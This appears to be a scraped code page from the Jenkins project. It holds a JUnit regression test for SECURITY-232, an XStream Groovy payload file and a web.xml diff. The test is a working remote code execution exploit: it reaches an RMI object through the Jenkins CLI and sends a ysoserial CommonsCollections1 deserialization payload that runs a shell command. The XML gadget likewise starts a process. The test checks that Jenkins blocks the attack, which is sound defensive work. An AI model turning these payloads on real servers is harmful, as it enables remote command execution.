import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UnicastRemoteObject;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.net.SocketFactory;
import static jenkins.security.security218.Payload.CommonsCollections1;
import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import static org.junit.Assert.*;
import org.junit.Rule;
import org.junit.Test;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import sun.reflect.ReflectionFactory;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastRef2;
import sun.rmi.server.Util;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.TransportConstants;
import sun.rmi.transport.tcp.TCPEndpoint;
/**
* @author mbechler, adapted for JUnit/JenkinsRule by jglick
*/
@Issue("SECURITY-232")
public class Security232Test {
@Rule
public JenkinsRule r = new JenkinsRule();
@Test
public void commonsCollections1() throws Exception {
File pwned = new File(r.jenkins.getRootDir(), "pwned");
int jrmpPort = 12345;
URL u = r.getURL();
HttpURLConnection hc = (HttpURLConnection) u.openConnection();
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip);
Socket s = null;
Channel c = null;
try {
System.err.println("* Opening socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool();
c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
JarLoader.class.getName() + ".ours"
});
Object call = c.call((Callable<Object,Exception>) getJarLoader);
InvocationHandler remote = Proxy.getInvocationHandler(call);
Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler");
Field oidF = rih.getDeclaredField("oid");
oidF.setAccessible(true);
int oid = oidF.getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
uroC.setAccessible(true);
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
sc.setAccessible(true);
UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();
Field portF = UnicastRemoteObject.class.getDeclaredField("port");
portF.setAccessible(true);
portF.set(uro, jrmpPort);
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true)));
Object o = reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
try {
c.call((Callable<Object,Exception>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]
e.printStackTrace();
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
return; // good, got blocked before we even got this far
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned);
}
c.close();
}
finally {
if ( s != null ) {
s.close();
}
}
Thread.sleep(5000);
assertFalse("Pwned!", pwned.exists());
}
/**
* @param inetSocketAddress
* @param obj
* @param o1
* @param o2
* @param o3
* @throws IOException
*/
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg )
throws Exception {
Socket s = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new ObjectOutputStream(dos) {
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
};
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation());
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
}
finally {
if ( s != null ) {
s.close();
}
}
}
}
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>@TOKEN@</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
......@@ -23,10 +23,11 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1"
metadata-complete="true">
<display-name>Jenkins v${project.version}</display-name>
<description>Build management system</description>
......@@ -174,7 +175,7 @@ THE SOFTWARE.
<!--http-method>GET</http-method-->
</web-resource-collection>
<auth-constraint>
<role-name>*</role-name>
<role-name>**</role-name>
</auth-constraint>
</security-constraint>
......@@ -236,4 +237,11 @@ THE SOFTWARE.
<exception-type>java.lang.Throwable</exception-type>
<location>/oops</location>
</error-page>
<session-config>
<cookie-config>
<!-- See https://www.owasp.org/index.php/HttpOnly for the discussion of this topic in OWASP -->
<http-only>true</http-only>
</cookie-config>
</session-config>
</web-app>
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册